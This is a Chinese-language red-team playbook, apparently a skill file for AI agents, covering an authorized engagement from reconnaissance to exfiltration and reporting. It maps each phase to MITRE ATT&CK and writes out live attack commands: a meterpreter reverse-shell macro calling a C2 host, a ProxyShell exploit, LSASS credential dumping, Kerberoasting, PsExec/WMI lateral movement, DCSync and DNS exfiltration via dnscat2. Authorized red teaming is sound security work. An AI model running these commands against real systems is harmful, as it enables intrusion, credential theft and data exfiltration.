| name | conducting-full-scope-red-team-engagement |
| description | 规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","adversary-emulation","mitre-attack","penetration-testing","offensive-security","purple-team","ttp-mapping"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行全范围红队演练
概述
全范围红队演练(Full-Scope Red Team Engagement)模拟真实世界的对手行为,覆盖网络杀伤链(Cyber Kill Chain)的所有阶段——从初始侦察到数据外泄——以评估组织的检测、预防和响应能力。与渗透测试(Penetration Testing)不同,红队行动优先注重隐蔽性、持久化和基于目标的场景,模拟高级持续性威胁(APT)。
前置条件
- 经高管领导签署的书面授权(交战规则文件)
- 明确的范围界定,包括在测试范围内/外的系统、升级联系人和紧急停止程序
- 相关对手组织的威胁情报(如 APT29、FIN7、Lazarus Group)
- 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境
- 确认符合《计算机欺诈和滥用法》(CFAA)及当地法律的法律审查
演练阶段
阶段一:规划与威胁建模
根据威胁配置文件,将演练映射到特定 MITRE ATT&CK 战术和技术:
| 杀伤链阶段 | MITRE ATT&CK 战术 | 示例技术 |
|---|
| 侦察(Reconnaissance) | TA0043 | T1593 搜索开放网站/域名, T1589 收集受害者身份信息 |
| 资源开发 | TA0042 | T1583.001 获取基础设施:域名, T1587.001 开发能力:恶意软件 |
| 初始访问 | TA0001 | T1566.001 鱼叉式钓鱼附件, T1078 有效账户 |
| 执行 | TA0002 | T1059.001 PowerShell, T1204.002 用户执行:恶意文件 |
| 持久化 | TA0003 | T1053.005 计划任务, T1547.001 注册表运行键 |
| 权限提升 | TA0004 | T1068 利用漏洞提权, T1548.002 UAC 绕过 |
| 防御规避 | TA0005 | T1055 进程注入, T1027 混淆文件 |
| 凭据访问 | TA0006 | T1003.001 LSASS 内存, T1558.003 Kerberoasting |
| 发现 | TA0007 | T1087 账户发现, T1018 远程系统发现 |
| 横向移动 | TA0008 | T1021.002 SMB/Windows 管理共享, T1550.002 哈希传递 |
| 收集 | TA0009 | T1560 归档收集数据, T1213 来自信息存储库的数据 |
| 数据外泄 | TA0010 | T1041 通过 C2 信道外泄, T1048 通过替代协议外泄 |
| 影响 | TA0040 | T1486 加密数据以影响业务, T1489 停止服务 |
阶段二:侦察(OSINT)
amass enum -passive -d target.com -o amass_passive.txt
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
whatweb -v target.com --log-json=whatweb.json
h8mail -t target.com -o h8mail_results.csv
阶段三:初始访问
红队演练常见的初始访问向量:
鱼叉式钓鱼(T1566.001):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
gophish --config config.json
外部服务利用(T1190):
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
阶段四:后渗透与横向移动
# 态势感知(T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# 从 LSASS 收集凭据(T1003.001)
# 使用 Havoc C2 内置模块
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting(T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# 通过 WMI 横向移动(T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# 通过 PsExec 横向移动(T1021.002)
psexec.py domain/admin:password@fileserver.target.com
阶段五:目标达成
定义并追求特定目标:
- 域控制:获得域管理员访问权限并 DCSync 凭据
- 数据外泄:定位并外泄关键数据(如 PII、财务记录)
- 业务影响模拟:展示勒索软件部署能力(不实际执行)
- 物理访问:门禁卡克隆、尾随跟踪、服务器室访问
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
阶段六:报告与汇报
报告应包含:
- 高管摘要:业务影响、风险评级、关键发现
- 攻击叙述:带截图和证据的活动时间线
- MITRE ATT&CK 映射:使用技术的完整热力图
- 发现事项:每个发现的 CVSS 分数、证据和修复建议
- 检测差距分析:SOC 检测到的与遗漏的内容对比
- 紫队(Purple Team)建议:针对已识别差距的具体检测规则
指标与 KPI
| 指标 | 描述 |
|---|
| 平均检测时间(MTTD) | 从行动到 SOC 检测的平均时间 |
| 平均响应时间(MTTR) | 从检测到遏制的平均时间 |
| TTP 覆盖率 | 已执行技术中被检测到的百分比 |
| 目标达成率 | 已完成的预定目标百分比 |
| 驻留时间 | 红队维持访问而未被检测到的总时间 |
工具与框架
- C2 框架: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- 侦察: Amass, Recon-ng, theHarvester, SpiderFoot
- 利用: Metasploit, Impacket, CrackMapExec, Rubeus
- 后渗透: Mimikatz, SharpCollection, BOF.NET
- 报告: PlexTrac, Ghostwriter, Serpico
参考资料